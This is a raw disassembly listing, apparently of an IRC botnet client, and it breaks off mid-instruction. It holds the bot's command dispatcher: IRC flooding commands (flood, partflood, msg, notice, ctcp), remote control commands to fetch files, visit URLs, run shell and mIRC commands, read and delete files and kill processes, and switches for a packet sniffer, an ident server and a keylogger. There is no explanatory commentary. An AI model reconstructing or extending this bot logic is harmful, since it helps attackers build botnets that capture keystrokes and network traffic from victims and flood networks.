1 call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5DC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h call near ptr 2670ECEh nop jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 2680930h push eax push offset unk_42B59C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE nop call near ptr 26905D6h push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B534 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B530 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA60 ; " " push offset dword_42B52C push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B51C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B518 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA60 ; " " push offset dword_42B52C push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B504 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA60 ; " " push offset dword_42B52C push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA60 ; " " push offset dword_42B52C push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 nop call near ptr 26905D6h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B494 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B480 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B47C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF nop call near ptr 26905D6h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B454 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B51C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B51C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B51C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B40C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3F4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B40C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D403C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB03C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA75C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B37C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B27C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B24C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 2670ECEh jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 2680930h push eax push offset dword_42B210 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1D4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B1A8 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B180 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B150 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h call near ptr 2670ECEh nop jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 2680930h push eax push offset unk_42B114 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0D4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B0A4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B07C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B050 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 2680000h imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz loc_40828B nop call near ptr 2680930h push eax push offset dword_42B01C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFE4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AFC4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF78 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF4C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AF2C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AF08 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx nop call near ptr 2680000h mov ecx, 